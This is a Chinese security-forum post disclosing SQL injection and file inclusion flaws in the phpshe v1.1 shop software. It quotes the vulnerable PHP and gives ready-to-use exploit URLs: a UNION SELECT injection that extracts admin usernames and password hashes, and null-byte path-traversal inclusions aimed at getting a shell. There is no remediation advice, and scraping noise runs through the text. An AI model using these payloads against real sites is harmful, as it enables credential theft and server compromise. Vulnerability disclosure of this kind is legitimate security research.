找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2464|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/" Q) m1 o! u; R: p1 a. R  _
/* Phpshe v1.1 Vulnerability
; Y" r2 ?& z' c/* ========================
4 D- ^7 c4 I$ L! I/ B) p. q9 ~/* By: : Kn1f3! x4 K( e9 ~  p- R5 ?: T
/* E-Mail : 681796@qq.com0 J2 b5 t' `: K8 M) q7 X' b$ @  N
/*******************************************************/
  h& F7 V: D6 s) b1 K1 R' Y& X. R) ^* a0×00 整体大概参数传输
+ h: t" _: D! ?% ~ # z5 R4 ^* d' T% n
1 f9 y4 p! T, T4 J# V1 e0 v1 X
  |+ c+ u0 p: ^* r
//common.php
/ Z: K. v2 d$ c' G3 _) `8 Dif (get_magic_quotes_gpc()) {
  `9 ?6 v' c& |1 |!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
# K/ ^7 k+ {  d9 N!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% m% ^, d; N. h8 `7 y0 o}
. X5 J7 Y1 m/ q+ G; c, f( eelse {
4 S0 u4 ~, O! Q; b/ f!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');  @9 D2 W* _! m: a
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
  S" a8 J; s5 G* B' q}
" C* B! J4 A  O$ a/ hsession_start();
5 M$ k/ u/ D; p!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
) @/ s) z' @8 _8 Z5 B3 X  T!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
; B/ d2 k5 T0 d9 ]) E/ o4 U1 r6 D1 s
0×01 包含漏洞' a; @7 }7 J9 `$ l( M( G2 S

1 C" J0 [# j6 K2 s; v' u
+ t; T' c: Z. r9 Y3 t6 q* z( I0 b. Q
//首页文件
) I$ X. n/ |$ ?2 Z* \! Q5 c' G<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
' ^2 W+ s4 F. @) K* h, Qinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞' [7 E: G& z9 {# D2 `- B4 \8 [
pe_result();
! z0 D+ l+ Q- A?>( ]( P5 m  X2 l
//common 文件 第15行开始
- \; `& ?0 A& Murl路由配置! h8 M* J& u6 x  ]* o+ i1 Z5 K
$module = $mod = $act = 'index';
3 T( G2 K  r5 n& l4 M  Y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
  u5 ]% q- {! v2 t% v$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);  E- w( J, G+ T* e4 g1 f# u5 B
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, t- b3 m/ \( Q9 f5 d6 \//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
5 N) s2 d0 e* N" c3 l


, J# p* ~% l  }  b+ d. Q" ^
* x6 ^$ E( o( V. [2 z- y8 g 0×02 搜索注入
/ @7 g) ?/ D6 c* \0 l1 Q6 \4 V
& H( i" b" c, q! d/ j/ q<code id="code2">

//product.php文件
" k) k0 X. N2 u1 ?# U* g5 s3 C. gcase 'list':
4 x7 ?- E# N4 C# i$ y7 x2 c$category_id = intval($id);2 _" _5 S4 l+ j) N
$info = $db->pe_select('category', array('category_id'=>$category_id));
! x5 j8 v/ J% f+ [9 z//搜索
1 v, H4 c7 Q+ C% Q3 C6 C) n$sqlwhere = " and `product_state` = 1";
4 ?9 m. m0 U4 j1 o7 [, f$ Q1 ope_lead('hook/category.hook.php');
! V& q+ s. p; m- [# lif ($category_id) {: O6 ]* C5 F' z4 r( |; x7 E
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";& j6 j5 s( k* j  P4 i
}
9 P) f$ ]+ `; A$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
  {5 @. K/ Y0 _: _3 hif ($_g_orderby) {; u" S: G/ g+ i0 H& m
$orderby = explode('_', $_g_orderby);
( {( T6 x. w9 i% ?. D0 n, E1 U9 N$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";) I/ I2 Q6 h0 ?7 a! M2 H  n9 j: n1 W" @
}, p% I; {; ~+ U5 a' V
else {
% o- c7 ?& v7 {( N$sqlwhere .= " order by `product_id` desc";
8 O7 o( D7 Y( V& w  g5 S0 [7 x4 |}
) M  \9 X9 |) f! }, K$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));- Z/ `1 W( w  b, }3 a! T# w& x2 R
//热卖排行% D8 E! z& n0 L; D9 q% ~1 f
$product_hotlist = product_hotlist();
9 w7 L' K& i* I6 m" b* o- z4 B9 W( {//当前路径
0 B; t) m6 T' G, u2 O8 a7 F$nowpath = category_path($category_id);
& K% J3 b6 x* a3 @/ U# {$seo = pe_seo($info['category_name']);
0 a0 V" P2 s8 O8 binclude(pe_tpl('product_list.html'));1 }0 @: x1 w1 C
//跟进selectall函数库0 _2 _- }. d9 a
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())) F  f; e- W7 M
{3 A) A9 {% m& d* p/ e
//处理条件语句1 a" x+ y+ M# ~/ g6 u+ B8 S+ T( U
$sqlwhere = $this->_dowhere($where);
( @0 V! @5 ^* V; ]/ e: O! hreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& L' `! q  B" W0 b. C}" Z# s- k5 M1 A; W' }- L, ~% w! U
//exp. E# P; C0 T  v) l" @. h
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='13 @0 r/ c4 U0 I% K  p

</code>  u+ q, A. ]2 O/ E; u/ \' S& F( C

4 C; B5 q7 I0 P, u0 p0×03 包含漏洞2
0 k6 o% {+ H- A; P+ | $ r+ q. A8 p) b8 i
<code id="code3">

//order.php

case 'pay':


* |+ K8 [+ h& M# z4 c5 |$order_id = pe_dbhold($_g_id);


. J2 g# l% M- r) J5 Q6 X! K$cache_payway = cache::get('payway');


0 N" Y7 a$ H9 @) q# h1 R5 Jforeach($cache_payway as $k => $v) {


* T4 w, _9 j" Y) T5 {$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

  J; h5 T$ X+ V! G
if ($k == 'bank') {

# i& I0 a' ~" Z, p- h5 }7 g0 ~
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


0 ]% w  E( E2 Q/ k4 Z% m2 `}


6 K; r. F4 k! ]$ J4 D: R* L}


1 b: b5 g( C; q  `8 V% I0 b$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


' l- F3 ~6 V+ I. |!$order['order_id'] && pe_error('订单号错误...');

3 o' ]; s( a1 ^! g
if (isset($_p_pesubmit)) {


; b- j5 O0 C: h+ P( R7 P3 `, fif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


) u  g. m7 O) ]4 ]$ [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

/ Z0 h4 _0 y9 U' e: m6 M2 Q. X
foreach ($info_list as $v) {


# k7 n; l& J& {0 W( G$order['order_name'] .= "{$v['product_name']};";
" L. i' [. k( b  j- C5 o$ q

+ E- s& E' u# D5 K3 i, p
}

- N( l' t5 C5 B0 g! H2 r
echo '正在为您连接支付网站,请稍后...';

8 y3 ]- e+ t. f' _$ D% p
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


/ {7 _0 |2 ^4 K}//当一切准备好的时候就可以进行"鸡肋包含了"


; e# _6 Z6 i; X4 \else {


+ G& G! ]9 ^3 Hpe_error('支付错误...');

( R. k" ]& \8 E/ K. Z$ |  R3 M
}

7 _  p4 ?: B' Z# }2 q2 U/ v- t
}

, M9 U  X1 F% J/ [( h  e* r# g, ]
$seo = pe_seo('选择支付方式');


9 s* G( c0 e, J/ w" r4 T& einclude(pe_tpl('order_pay.html'));


5 r, t! T+ H/ B, ]4 pbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
0 U8 B  J! J, n6 R2 }9 e

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表